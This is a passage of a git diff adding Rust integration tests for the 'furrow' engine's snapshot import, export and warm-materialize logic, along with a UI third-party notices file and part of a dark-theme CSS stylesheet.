&kinds, &STRUCTURE); + let tree = tampered + .iter_mut() + .find(|(rid, _)| kinds[rid] == ObjectKind::Tree) + .unwrap(); + let (tree_rid, len) = (tree.0, tree.1.len()); + tree.1[len - 1] ^= 1; + put_inbox(&dst.inbox, &tampered); + + let error = import_all(&dst.data, src.head, &dst.inbox).unwrap_err(); + assert!(error.to_string().contains(&id_hex(&tree_rid)), "{error:#}"); + let wanted = want_of(&dst.data, src.head); + assert!(wanted.contains(&tree_rid), "the bad tree is still wanted"); + // The catalog rolled the snapshot back with the batch, but its verified + // bytes sit in the pack, so a fresh open adopts them under the + // rebuild-from-pack rule and the survey no longer asks for them. Nothing + // unverified can be adopted. + for (rid, _) in &tampered { + assert!( + dst.inbox.join(id_hex(rid)).exists(), + "the file stayed for the next attempt" + ); + } +} + +/// A priming take knows its inbox holds more than this head wants: the files +/// no pass wanted are deleted and counted instead of being an error. The +/// strict import keeps its rule. +#[test] +fn primed_import_deletes_the_extras_and_reports_them() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let snapshot = of_kinds(&objects, &kinds, &[ObjectKind::Snapshot]); + let chunk = of_kinds(&objects, &kinds, &[ObjectKind::Chunk]).remove(0); + + let strict = receiver(); + put_inbox(&strict.inbox, &snapshot); + put_inbox(&strict.inbox, std::slice::from_ref(&chunk)); + let error = import_all(&strict.data, src.head, &strict.inbox).unwrap_err(); + assert!( + error.to_string().contains("not wanted for head"), + "{error:#}" + ); + assert!( + strict.inbox.join(id_hex(&chunk.0)).exists(), + "the strict import leaves the extra in place" + ); + + let primed = receiver(); + put_inbox(&primed.inbox, &snapshot); + put_inbox(&primed.inbox, std::slice::from_ref(&chunk)); + let taken = import_primed(&primed.data, src.head, &primed.inbox).unwrap(); + assert_eq!(taken.imported, snapshot.len()); + assert_eq!(taken.extras_deleted, 1, "the chunk was counted and deleted"); + assert_eq!(fs::read_dir(&primed.inbox).unwrap().count(), 0); + assert!( + !want_of(&primed.data, src.head).is_empty(), + "the take went on past the snapshot" + ); +} + +fn inbox_count(inbox: &std::path::Path) -> usize { + fs::read_dir(inbox).unwrap().count() +} + +/// A streaming take sees an inbox that is still filling. Leaf frames whose +/// parents have not arrived cannot be opened, so they stay; once the parents +/// land a second call stores everything reachable; a final primed call then +/// deletes only a true extra. +#[test] +fn partial_import_waits_for_parents_then_takes_everything() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let leaves = of_kinds(&objects, &kinds, &[ObjectKind::Blob, ObjectKind::Chunk]); + let structure = of_kinds(&objects, &kinds, &STRUCTURE); + let dst = receiver(); + + put_inbox(&dst.inbox, &leaves); + assert_eq!(import_partial(&dst.data, src.head, &dst.inbox).unwrap(), 0); + assert_eq!(inbox_count(&dst.inbox), leaves.len(), "nothing was deleted"); + + put_inbox(&dst.inbox, &structure); + let stray = [7u8; 32]; + fs::write(dst.inbox.join(id_hex(&stray)), b"extra").unwrap(); + assert_eq!( + import_partial(&dst.data, src.head, &dst.inbox).unwrap(), + objects.len() + ); + assert!(want_of(&dst.data, src.head).is_empty()); + assert_eq!(inbox_count(&dst.inbox), 1, "only the extra is left"); + + let taken = import_primed(&dst.data, src.head, &dst.inbox).unwrap(); + assert_eq!((taken.imported, taken.extras_deleted), (0, 1)); + assert_eq!(inbox_count(&dst.inbox), 0); +} + +/// A partial call never refuses: an unwanted file is not an error and stays, +/// where the strict import of the same inbox is refused. +#[test] +fn partial_import_keeps_unwanted_files_without_error() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let snapshot = of_kinds(&objects, &kinds, &[ObjectKind::Snapshot]); + let chunk = of_kinds(&objects, &kinds, &[ObjectKind::Chunk]).remove(0); + let dst = receiver(); + put_inbox(&dst.inbox, &snapshot); + put_inbox(&dst.inbox, std::slice::from_ref(&chunk)); + + assert_eq!( + import_partial(&dst.data, src.head, &dst.inbox).unwrap(), + snapshot.len() + ); + assert!(dst.inbox.join(id_hex(&chunk.0)).exists()); + assert!(import_all(&dst.data, src.head, &dst.inbox).is_err()); +} + +#[test] +fn unwanted_file_refused() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let dst = receiver(); + let chunk = of_kinds(&objects, &kinds, &[ObjectKind::Chunk]).remove(0); + put_inbox(&dst.inbox, std::slice::from_ref(&chunk)); + + let error = import_all(&dst.data, src.head, &dst.inbox).unwrap_err(); + assert!(error.to_string().contains(&id_hex(&chunk.0)), "{error:#}"); + assert_eq!(want_of(&dst.data, src.head).len(), 1, "nothing was stored"); + assert!( + dst.inbox.join(id_hex(&chunk.0)).exists(), + "the file is left for the caller" + ); + + // A name that is not a rid is refused, a dot file is a download in flight. + fs::remove_file(dst.inbox.join(id_hex(&chunk.0))).unwrap(); + fs::write(dst.inbox.join(".partial"), b"half").unwrap(); + assert_eq!(import_all(&dst.data, src.head, &dst.inbox).unwrap(), 0); + fs::write(dst.inbox.join("readme.txt"), b"?").unwrap(); + let error = import_all(&dst.data, src.head, &dst.inbox).unwrap_err(); + assert!(error.to_string().contains("readme.txt"), "{error:#}"); +} + +#[test] +fn want_is_empty_when_complete() { + let src = source(); + assert!(want_of(&src.data, src.head).is_empty()); + let dst = receiver(); + put_inbox(&dst.inbox, &exported(&src)); + import_all(&dst.data, src.head, &dst.inbox).unwrap(); + assert!(want_of(&dst.data, src.head).is_empty()); +} + +#[test] +fn want_starts_at_the_snapshot_and_is_bounded() { + let src = source(); + let dst = receiver(); + let snapshot = furrow::sealer::Sealer::remote_id(&sealer(), ObjectKind::Snapshot, &src.head); + assert_eq!(want_of(&dst.data, src.head), vec![snapshot]); + + let wide = wide_source(1200); + let objects = exported(&wide); + let kinds = kinds(&wide.data, wide.head); + put_inbox(&dst.inbox, &of_kinds(&objects, &kinds, &STRUCTURE)); + import_all(&dst.data, wide.head, &dst.inbox).unwrap(); + let wanted = want_of(&dst.data, wide.head); + assert_eq!(wanted.len(), 1000); + assert!(wanted.iter().all(|rid| kinds[rid] == ObjectKind::Blob)); +} + +/// A tree of many small files: one blob and one chunk each. +fn wide_source(files: usize) -> Source { + let temp = tempfile::tempdir().unwrap(); + let tree = temp.path().join("tree-w"); + fs::create_dir_all(&tree).unwrap(); + for index in 0..files { + fs::write(tree.join(format!("f{index:05}")), format!("file {index}")).unwrap(); + } + let (_, head) = FurrowRepository::attach_and_seal_in( + &temp.path().join("data-w"), + &tree, + None, + SnapshotTrigger::Manual, + SealOptions::default(), + ) + .unwrap(); + Source { + data: temp.path().join("data-w"), + cell: temp.path().join("cell-w"), + tree, + head, + _temp: temp, + } +} + +#[test] +fn materialize_refuses_an_incomplete_head_and_leaves_the_folder_empty() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let dst = receiver(); + put_inbox(&dst.inbox, &of_kinds(&objects, &kinds, &STRUCTURE)); + import_all(&dst.data, src.head, &dst.inbox).unwrap(); + + assert!(materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), src.head).is_err()); + assert_eq!(fs::read_dir(&dst.tree).unwrap().count(), 0); +} + +/// A sends its second snapshot only; the first stays behind on A. +fn second_snapshot(src: &Source) -> (ObjectId, ObjectId) { + let mut repo = + FurrowRepository::open_composed_in(&src.data, &src.tree, Some(src.cell.clone())).unwrap(); + fs::write( + src.tree.join("later.txt"), + b"written after the first snapshot\n", + ) + .unwrap(); + let second = repo + .snapshot(Some("second".to_owned()), SnapshotTrigger::Manual) + .unwrap(); + (src.head, second) +} + +fn delivered(src: &Source, head: ObjectId) -> Receiver { + let dst = receiver(); + let report = export_with( + &src.data, + head, + &keys(), + LEDGER, + &src._temp.path().join("outbox"), + SMALL_FRAME, + ) + .unwrap(); + put_inbox(&dst.inbox, &objects_of(&frame_paths(&report))); + import_all(&dst.data, head, &dst.inbox).unwrap(); + materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), head).unwrap(); + dst +} + +fn parent_of(data: &std::path::Path, id: &ObjectId) -> Option { + let store = furrow::exchange::open_store(data).unwrap(); + store + .read_struct::(id, ObjectKind::Snapshot) + .unwrap() + .parent +} + +#[test] +fn the_next_seal_after_materialize_descends_from_the_imported_head() { + let src = source(); + let (first, second) = second_snapshot(&src); + let dst = delivered(&src, second); + let mut repo = + FurrowRepository::open_composed_in(&dst.data, &dst.tree, Some(dst.cell.clone())).unwrap(); + fs::write(dst.tree.join("on-b.txt"), b"continued here\n").unwrap(); + let next = repo.snapshot(None, SnapshotTrigger::Manual).unwrap(); + assert_eq!(parent_of(&dst.data, &next), Some(second)); + assert_ne!(Some(first), parent_of(&dst.data, &next)); +} + +#[test] +fn the_word_head_names_the_imported_head_and_then_the_next_seal() { + let src = source(); + let (_, second) = second_snapshot(&src); + let dst = delivered(&src, second); + let mut repo = + FurrowRepository::open_composed_in(&dst.data, &dst.tree, Some(dst.cell.clone())).unwrap(); + assert_eq!(repo.resolve_snapshot("head").unwrap(), second); + fs::write(dst.tree.join("on-b.txt"), b"continued here\n").unwrap(); + let next = repo.snapshot(None, SnapshotTrigger::Manual).unwrap(); + assert_eq!(repo.resolve_snapshot("head").unwrap(), next); +} + +#[test] +fn log_marks_the_imported_head_shallow() { + let src = source(); + let (_, second) = second_snapshot(&src); + let dst = delivered(&src, second); + let repo = + FurrowRepository::open_composed_in(&dst.data, &dst.tree, Some(dst.cell.clone())).unwrap(); + let log = repo.timeline(20).unwrap(); + assert_eq!( + log[0].id, + id_hex(&second), + "the imported head is the newest entry" + ); + assert!(log[0].shallow); + assert!( + log[1..].iter().all(|entry| !entry.shallow), + "B's own snapshots have their parents" + ); + let json = serde_json::to_value(&log).unwrap(); + assert_eq!(json[0]["shallow"], true); + assert!( + json[1].get("shallow").is_none(), + "the field is additive: absent when false" + ); +} + +#[test] +fn gc_keeps_everything_reachable_and_ignores_the_missing_parent() { + let src = source(); + let (_, second) = second_snapshot(&src); + let dst = delivered(&src, second); + let mut repo = + FurrowRepository::open_composed_in(&dst.data, &dst.tree, Some(dst.cell.clone())).unwrap(); + fs::write(dst.tree.join("on-b.txt"), b"continued here\n").unwrap(); + let next = repo.snapshot(None, SnapshotTrigger::Manual).unwrap(); + repo.gc(false).unwrap(); + assert!( + want_of(&dst.data, second).is_empty(), + "the adopted head is intact" + ); + assert!(want_of(&dst.data, next).is_empty()); + assert!(repo + .materialization(&second) + .unwrap() + .missing_paths + .is_empty()); +} + +#[test] +fn restore_to_an_id_from_the_senders_older_history_refuses_cleanly() { + let src = source(); + let (first, second) = second_snapshot(&src); + let dst = delivered(&src, second); + let repo = + FurrowRepository::open_composed_in(&dst.data, &dst.tree, Some(dst.cell.clone())).unwrap(); + let before = dump(&dst.tree); + let error = repo.resolve_snapshot(&id_hex(&first)).unwrap_err(); + assert!(error.to_string().contains(&id_hex(&first)), "{error:#}"); + assert_eq!(dump(&dst.tree), before, "nothing was restored"); +} diff --git a/engine/furrow-core/tests/warm_materialize.rs b/engine/furrow-core/tests/warm_materialize.rs new file mode 100644 index 0000000000..99e8bfb54c --- /dev/null +++ b/engine/furrow-core/tests/warm_materialize.rs @@ -0,0 +1,193 @@ +//! A warm `materialize` restores a head over a tree that already holds an +//! older one, and writes only what differs between the two. The staging folder +//! of a take is such a tree: it starts as a copy of the root made of hard +//! links, so the engine must never write into a file that exists. + +mod common; + +use common::*; +use furrow::exchange::materialize::materialize; +use furrow::model::{ObjectId, SnapshotTrigger}; +use furrow::repository::FurrowRepository; +use std::fs; +use std::os::unix::fs::{symlink, MetadataExt, PermissionsExt}; +use std::path::{Path, PathBuf}; + +/// Seals the source tree as it is now. +fn seal(src: &Source) -> ObjectId { + let mut repo = + FurrowRepository::open_composed_in(&src.data, &src.tree, Some(src.cell.clone())).unwrap(); + repo.snapshot(None, SnapshotTrigger::Manual).unwrap() +} + +/// Brings `head` and everything it needs to the receiver's store. +fn deliver(src: &Source, dst: &Receiver, head: ObjectId, ledger: &str) { + let outbox = src._temp.path().join(format!("outbox-{head:?}")); + let report = export_with(&src.data, head, &keys(), ledger, &outbox, 300 * 1024).unwrap(); + put_inbox(&dst.inbox, &objects_of(&frame_paths(&report))); + import_all(&dst.data, head, &dst.inbox).unwrap(); +} + +struct Receiver { + _temp: tempfile::TempDir, + data: PathBuf, + inbox: PathBuf, + tree: PathBuf, + cell: PathBuf, +} + +/// A receiver that holds `first` on disk, and the source moved on to `second` +/// by `change`. +fn warm(change: impl FnOnce(&Path)) -> (Source, Receiver, ObjectId) { + let src = source(); + fs::write(src.tree.join("keep.txt"), b"never changes\n").unwrap(); + let first = seal(&src); + let temp = tempfile::tempdir().unwrap(); + let dst = Receiver { + data: temp.path().join("data-b"), + inbox: temp.path().join("inbox"), + tree: temp.path().join("tree-b"), + cell: temp.path().join("cell-b"), + _temp: temp, + }; + fs::create_dir_all(&dst.tree).unwrap(); + deliver(&src, &dst, first, "0000000000000001"); + materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), first).unwrap(); + change(&src.tree); + let second = seal(&src); + deliver(&src, &dst, second, "0000000000000001"); + (src, dst, second) +} + +/// The staging folder of a take: directories made anew, files hard-linked. +fn linked_copy(from: &Path, to: &Path) { + fs::create_dir_all(to).unwrap(); + for entry in fs::read_dir(from).unwrap() { + let path = entry.unwrap().path(); + let target = to.join(path.file_name().unwrap()); + let meta = fs::symlink_metadata(&path).unwrap(); + if meta.is_dir() { + linked_copy(&path, &target); + } else if meta.file_type().is_symlink() { + symlink(fs::read_link(&path).unwrap(), &target).unwrap(); + } else { + fs::hard_link(&path, &target).unwrap(); + } + } +} + +fn inode(path: impl AsRef) -> u64 { + fs::symlink_metadata(path).unwrap().ino() +} + +fn without_root( + mut nodes: std::collections::BTreeMap, +) -> std::collections::BTreeMap { + nodes.remove("."); + nodes +} + +#[test] +fn a_one_file_change_writes_one_file() { + let (_src, dst, second) = + warm(|tree| fs::write(tree.join("src/main.rs"), b"fn main() { 1 }\n").unwrap()); + let files = [ + "keep.txt", + "big.bin", + "run.sh", + "src/deep/notes.txt", + "src/main.rs", + ]; + let before: Vec = files.iter().map(|f| inode(dst.tree.join(f))).collect(); + + materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), second).unwrap(); + + let after: Vec = files.iter().map(|f| inode(dst.tree.join(f))).collect(); + let rewritten: Vec<_> = files + .iter() + .zip(before.iter().zip(&after)) + .filter(|(_, (b, a))| b != a) + .map(|(f, _)| *f) + .collect(); + assert_eq!(rewritten, ["src/main.rs"]); +} + +#[test] +fn a_take_of_the_head_already_held_writes_nothing() { + let (_src, dst, _) = warm(|_| {}); + let held = FurrowRepository::open_composed_in(&dst.data, &dst.tree, Some(dst.cell.clone())) + .unwrap() + .resolve_snapshot("head") + .unwrap(); + let before = without_root(dump(&dst.tree)); + let inodes: Vec = all_files(&dst.tree).iter().map(inode).collect(); + + materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), held).unwrap(); + + assert_eq!(without_root(dump(&dst.tree)), before); + assert_eq!( + all_files(&dst.tree).iter().map(inode).collect::>(), + inodes + ); +} + +#[test] +fn deletes_renames_and_mode_only_changes_reach_a_linked_copy_and_spare_the_original() { + let (src, dst, second) = warm(|tree| { + fs::remove_file(tree.join("src/deep/notes.txt")).unwrap(); + fs::rename(tree.join("big.bin"), tree.join("moved.bin")).unwrap(); + fs::set_permissions(tree.join("run.sh"), fs::Permissions::from_mode(0o700)).unwrap(); + }); + let original = without_root(dump(&dst.tree)); + let stage = dst._temp.path().join("tree-b.taking"); + linked_copy(&dst.tree, &stage); + + materialize(&dst.data, &stage, Some(dst.cell.clone()), second).unwrap(); + + assert_eq!( + without_root(dump(&stage)), + without_root(dump(&src.tree)), + "the copy holds the new head" + ); + assert_eq!( + without_root(dump(&dst.tree)), + original, + "the original tree is byte, mode and time identical" + ); + assert_eq!( + inode(stage.join("keep.txt")), + inode(dst.tree.join("keep.txt")), + "an unchanged file stays one file" + ); + assert_ne!( + inode(stage.join("run.sh")), + inode(dst.tree.join("run.sh")), + "a mode change made a new file" + ); +} + +/// The system stamps files with attributes of its own (a provenance mark on +/// every file a process creates, quarantine on downloads). A tree sealed on +/// another machine lacks them, so counting them as content made every file of +/// a stamped tree differ from the head and rewrote the whole tree. +#[cfg(target_os = "macos")] +#[test] +fn files_the_system_stamped_are_not_rewritten_by_a_take() { + let (_src, dst, second) = + warm(|tree| fs::write(tree.join("src/main.rs"), b"fn main() { 1 }\n").unwrap()); + let files = all_files(&dst.tree); + for file in &files { + xattr::set(file, "com.apple.quarantine", b"0083;00000000;test;").unwrap(); + } + let before: Vec = files.iter().map(inode).collect(); + + materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), second).unwrap(); + + let rewritten: Vec<_> = files + .iter() + .zip(before.iter().zip(files.iter().map(inode))) + .filter(|(_, (b, a))| *b != a) + .map(|(f, _)| f.file_name().unwrap().to_owned()) + .collect(); + assert_eq!(rewritten, ["main.rs"]); +} diff --git a/engine/furrow-core/ui/THIRD_PARTY_NOTICES.md b/engine/furrow-core/ui/THIRD_PARTY_NOTICES.md new file mode 100644 index 0000000000..9031d36437 --- /dev/null +++ b/engine/furrow-core/ui/THIRD_PARTY_NOTICES.md @@ -0,0 +1,6 @@ +# Mission Control third-party assets + +Mission Control vendors only the asset subset needed at runtime. It does not load a CDN. + +- Lucide icons 1.24.0, ISC license. Source: . License text: `vendor/lucide/LICENSE`. +- Geist variable font via Fontsource 5.2.9, SIL Open Font License 1.1. License text: `vendor/geist/LICENSE`. diff --git a/engine/furrow-core/ui/app.css b/engine/furrow-core/ui/app.css new file mode 100644 index 0000000000..8f19756704 --- /dev/null +++ b/engine/furrow-core/ui/app.css @@ -0,0 +1,338 @@ +@font-face { + font-family: "Furrow Geist"; + src: url("/assets/geist.woff2") format("woff2"); + font-style: normal; + font-weight: 100 900; + font-display: swap; +} + +:root { + color-scheme: dark; + --canvas: oklch(0.135 0.012 255); + --surface: oklch(0.175 0.014 255); + --surface-raised: oklch(0.205 0.015 255); + --ink: oklch(0.93 0.008 250); + --ink-soft: oklch(0.76 0.012 250); + --ink-faint: oklch(0.65 0.014 250); + --line: oklch(0.265 0.014 255); + --line-strong: oklch(0.37 0.016 255); + --header: oklch(0.105 0.014 255); + --header-soft: oklch(0.66 0.014 250); + --accent: oklch(0.75 0.145 166); + --accent-dark: oklch(0.72 0.135 166); + --accent-wash: oklch(0.245 0.045 166); + --conflict: oklch(0.7 0.19 29); + --conflict-wash: oklch(0.24 0.05 29); + --action: oklch(0.72 0.14 252); + --action-wash: oklch(0.245 0.045 252); + --warning: oklch(0.77 0.13 72); + --warning-wash: oklch(0.255 0.04 72); + --focus: oklch(0.74 0.16 252); + --sans: "Furrow Geist", "Inter", "Segoe UI", system-ui, sans-serif; + --mono: "SFMono-Regular", "Cascadia Code", "Liberation Mono", monospace; + --z-dialog: 30; + --z-toast: 40; +} + +* { box-sizing: border-box; } +html, body { min-height: 100%; } +body { + margin: 0; + background: var(--canvas); + color: var(--ink); + font-family: var(--sans); + font-size: 14px; + letter-spacing: 0; + text-rendering: optimizeLegibility; +} +button, input { font: inherit; letter-spacing: 0; } +button { color: inherit; } +button:focus-visible, [tabindex]:focus-visible { outline: 2px solid var(--focus); outline-offset: 2px; } +code { font-family: var(--mono); font-size: 11px; } +svg { width: 17px; height: 17px; fill: none; stroke: currentColor; stroke-width: 2; stroke-linecap: round; stroke-linejoin: round; } +.sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0,0,0,0); white-space: nowrap; border: 0; } + +.topbar { + height: 62px; + display: grid; + grid-template-columns: 250px minmax(0, 1fr) auto; + align-items: center; + padding: 0 18px; + background: var(--header); + color: white; +} +.brand-block { display: flex; align-items: center; gap: 10px; } +.brand-mark { + width: 32px; + height: 32px; + display: grid; + place-items: center; + border: 1px solid oklch(1 0 0 / 0.18); + border-radius: 6px; + color: var(--accent); +} +.brand-mark svg { width: 18px; height: 18px; } +.brand-block > div { display: flex; flex-direction: column; line-height: 1; } +.brand-block strong { font-size: 16px; font-weight: 680; } +.brand-block span:last-child { margin-top: 5px; color: var(--header-soft); font-size: 11px; } +.workspace-title { min-width: 0; display: flex; align-items: center; gap: 9px; padding-left: 18px; border-left: 1px solid oklch(1 0 0 / 0.13); } +.workspace-title > svg { flex: none; color: var(--header-soft); } +.workspace-title > div { min-width: 0; } +.workspace-title span { display: block; color: var(--header-soft); font-size: 10px; } +.workspace-title strong { display: block; margin-top: 3px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 13px; font-weight: 560; } +.top-actions { display: flex; align-items: center; gap: 12px; } +.connection { display: flex; align-items: center; gap: 7px; color: var(--header-soft); font-size: 11px; font-weight: 540; } +.connection i { width: 7px; height: 7px; border-radius: 50%; background: var(--warning); box-shadow: 0 0 0 3px oklch(0.61 0.13 72 / 0.14); } +.connection.online { color: oklch(0.84 0.05 166); } +.connection.online i { background: var(--accent); box-shadow: 0 0 0 3px oklch(0.66 0.145 166 / 0.16); } +.connection.error i { background: var(--conflict); box-shadow: 0 0 0 3px oklch(0.61 0.2 29 / 0.16); } +.icon-button { + width: 32px; + height: 32px; + display: inline-grid; + place-items: center; + border: 0; + border-radius: 5px; + background: transparent; + color: var(--ink-soft); + cursor: pointer; +} +.icon-button:hover { background: var(--canvas); color: var(--ink); } +.icon-button:active { transform: translateY(1px); } +.topbar .icon-button { background: oklch(1 0 0 / 0.07); color: oklch(0.9 0.01 250); } +.topbar .icon-button:hover { background: oklch(1 0 0 / 0.13); color: white; } +.icon-button.selected { background: var(--action-wash); color: var(--action); } +.help-button { width: 24px; height: 24px; display: inline-grid; place-items: center; padding: 0; border: 0; border-radius: 4px; background: transparent; color: var(--ink-faint); cursor: help; } +.help-button:hover, .help-button:focus-visible { background: var(--surface-raised); color: var(--ink); } +.help-button svg { width: 13px; height: 13px; } + +.status-rail { + min-height: 58px; + display: grid; + grid-template-columns: repeat(4, minmax(112px, 160px)) minmax(180px, 1fr); + border-bottom: 1px solid var(--line); + background: var(--surface-raised); +} +.status-rail > div { display: flex; flex-direction: column; justify-content: center; padding: 9px 17px; border-right: 1px solid var(--line); } +.status-rail > div[data-tooltip] { cursor: help; } +.status-rail span { color: var(--ink-faint); font-size: 10px; } +.status-rail strong { margin-top: 3px; font-size: 15px; font-weight: 620; font-variant-numeric: tabular-nums; } +.status-rail code { margin-top: 5px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--ink-soft); } +.head-stat { min-width: 0; } + +.mission-grid { + min-height: calc(100vh - 120px); + display: grid; + grid-template-columns: 258px minmax(560px, 1fr) 294px; +} +.timeline-pane, .universe-pane, .event-pane { min-width: 0; background: var(--surface); } +.timeline-pane { border-right: 1px solid var(--line); } +.event-pane { border-left: 1px solid var(--line); } +.pane-heading { + height: 60px; + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + padding: 0 15px; + border-bottom: 1px solid var(--line); +} +.pane-heading h1, .pane-heading h2 { margin: 0; font-size: 13px; font-weight: 640; line-height: 1.2; text-wrap: balance; } +.universe-heading h1 { font-size: 17px; font-weight: 680; } +.heading-with-icon { display: flex; align-items: center; gap: 9px; } +.heading-with-icon svg { color: var(--action); } +.heading-with-icon .help-button svg { color: currentColor; } +.heading-with-help { display: flex; align-items: center; gap: 5px; min-width: 0; } +.count-label, .pane-heading > code { color: var(--ink-faint); font-size: 10px; } +.legend { display: flex; gap: 13px; color: var(--ink-faint); font-size: 10px; } +.legend span { display: inline-flex; align-items: center; gap: 5px; } +.dot { width: 6px; height: 6px; display: inline-block; border-radius: 50%; } +.dot.clear { background: var(--accent-dark); } +.dot.conflict { background: var(--conflict); } +.dot.stale { background: var(--warning); } + +.timeline-list, .event-list { overflow: auto; max-height: calc(100vh - 180px); } +.timeline-item { + width: 100%; + display: grid; + grid-template-columns: 17px minmax(0, 1fr) auto; + gap: 8px; + align-items: start; + padding: 12px 8px 12px 14px; + border-bottom: 1px solid var(--line); + background: transparent; + cursor: pointer; +} +.timeline-item:hover { background: var(--surface-raised); } +.timeline-item:focus-visible { + outline: 2px solid var(--action); + outline-offset: -2px; + background: var(--surface-raised); +} +.timeline-stem { position: relative; min-height: 34px; } +.timeline-stem::before { content: ""; position: absolute; left: 5px; top: 5px; bottom: -18px; width: 1px; background: var(--line-strong); } +.timeline-item:last-child .timeline-stem::before { bottom: 21px; } +.timeline-stem i { position: relative; display: block; width: 11px; height: 11px; border: 3px solid var(--surface); border-radius: 50%; background: var(--action); box-shadow: 0 0 0 1px var(--action); } +.timeline-item:hover .timeline-stem i, .timeline-item:focus-visible .timeline-stem i { border-color: var(--surface-raised); } +.timeline-copy { min-width: 0; } +.timeline-copy strong { display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 11.5px; font-weight: 590; } +.current-badge { display: inline-block; margin-left: 6px; padding: 2px 5px; border-radius: 3px; background: var(--action-wash); color: var(--action); font-size: 8.5px; font-weight: 650; vertical-align: 1px; } +.timeline-meta { display: flex; flex-wrap: wrap; gap: 4px 7px; margin-top: 6px; color: var(--ink-faint); font: 9.5px var(--mono); } +.timeline-actions { display: flex; gap: 1px; opacity: 0.45; transition: opacity 140ms ease; } +.timeline-item:hover .timeline-actions, .timeline-item:focus-within .timeline-actions { opacity: 1; } +.timeline-actions button { width: 26px; height: 26px; } +.timeline-actions svg { width: 13px; height: 13px; } +.timeline-item.partial .timeline-stem i { background: var(--warning); box-shadow: 0 0 0 1px var(--warning); } + +.table-wrap { width: 100%; overflow: auto; } +.universe-table { width: 100%; border-collapse: collapse; table-layout: fixed; } +.universe-table th { + height: 35px; + padding: 0 12px; + border-bottom: 1px solid var(--line); + color: var(--ink-faint); + font-size: 10px; + font-weight: 540; + text-align: left; +} +.universe-table th:nth-child(1) { width: 28%; } +.universe-table th:nth-child(2) { width: 19%; } +.universe-table th:nth-child(3) { width: 18%; } +.universe-table th:nth-child(4) { width: 19%; } +.universe-table th:last-child { width: 154px; } +.universe-table td { height: 64px; padding: 8px 12px; border-bottom: 1px solid var(--line); vertical-align: middle; } +.universe-table tbody tr:hover { background: var(--surface-raised); } +.fork-name { display: flex; align-items: center; gap: 9px; min-width: 0; } +.fork-name div { min-width: 0; } +.fork-name strong, .entity-kind { display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +.fork-name strong { font-size: 12px; font-weight: 610; } +.entity-kind { margin-top: 4px; color: var(--ink-faint); font-size: 9.5px; } +.entity-icon { display: inline-grid; place-items: center; flex: none; } +.universe-icon { width: 27px; height: 27px; border-radius: 5px; background: var(--action-wash); color: var(--action); } +.universe-icon svg { width: 14px; height: 14px; } +.fork-name.conflicted .universe-icon { background: var(--conflict-wash); color: var(--conflict); } +.fork-name.stale .universe-icon { background: var(--warning-wash); color: var(--warning); } +.state-badge { display: inline-flex; align-items: center; gap: 5px; font-size: 10.5px; font-weight: 600; } +.state-badge[data-tooltip] { cursor: help; } +.state-badge svg { width: 13px; height: 13px; } +.state-badge.clear { color: var(--accent-dark); } +.state-badge.conflict { color: var(--conflict); } +.state-badge.stale { color: var(--warning); } +.cost-cell { color: var(--ink-soft); font: 10px var(--mono); } +.head-cell { overflow: hidden; text-overflow: ellipsis; color: var(--ink-faint); } +.row-actions { display: flex; justify-content: flex-end; gap: 1px; } +.row-actions button { width: 30px; height: 30px; } +.row-actions svg { width: 14px; height: 14px; } +.empty-row td { height: 120px; color: var(--ink-faint); text-align: center; } + +.conflict-section { border-top: 7px solid var(--canvas); } +.section-label { min-height: 44px; display: flex; align-items: center; justify-content: space-between; padding: 0 14px; border-bottom: 1px solid var(--line); } +.section-label h2 { margin: 0; font-size: 12px; font-weight: 640; } +.section-label span { color: var(--ink-faint); font-size: 10px; } +.conflict-lane { display: grid; grid-template-columns: minmax(120px, 0.8fr) minmax(260px, 2fr) auto; align-items: center; gap: 14px; min-height: 60px; padding: 8px 14px; border-bottom: 1px solid var(--line); } +.path-entity { min-width: 0; display: flex; align-items: center; gap: 8px; color: var(--conflict); cursor: help; } +.path-entity code { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-weight: 600; } +.file-icon { width: 24px; height: 24px; border-radius: 4px; background: var(--conflict-wash); color: var(--conflict); } +.file-icon svg { width: 13px; height: 13px; } +.lane-track { position: relative; min-width: 0; display: flex; align-items: center; justify-content: space-around; gap: 8px; } +.lane-track::before { content: ""; position: absolute; left: 18px; right: 18px; top: 9px; height: 1px; background: var(--conflict); } +.lane-branch { position: relative; z-index: 1; min-width: 0; max-width: 48%; display: inline-flex; align-items: center; gap: 6px; padding: 3px 6px; border-radius: 4px; background: var(--surface); color: var(--ink-soft); font-size: 9.5px; } +.lane-branch > span { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +.lane-node { width: 8px; height: 8px; flex: none; border-radius: 50%; background: var(--conflict); box-shadow: 0 0 0 2px var(--conflict-wash); } +.claim-label { padding: 3px 6px; border-radius: 4px; background: var(--warning-wash); color: var(--warning); font: 9px var(--mono); } +.conflict-empty { padding: 28px 14px; color: var(--ink-faint); text-align: center; } + +.event-item { padding: 12px 13px; border-bottom: 1px solid var(--line); } +.event-item:hover { background: var(--surface-raised); } +.event-line { display: flex; align-items: center; gap: 8px; } +.event-icon { width: 23px; height: 23px; display: grid; place-items: center; border-radius: 5px; background: var(--conflict-wash); color: var(--conflict); } +.event-item.resolved .event-icon { background: var(--accent-wash); color: var(--accent-dark); } +.event-icon svg { width: 12px; height: 12px; } +.event-line strong { font-size: 10.5px; font-weight: 610; } +.event-path { display: flex; align-items: center; gap: 7px; margin: 8px 0 0 31px; cursor: help; } +.event-path .file-icon { width: 21px; height: 21px; } +.event-path code { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +.event-forks, .event-meaning { 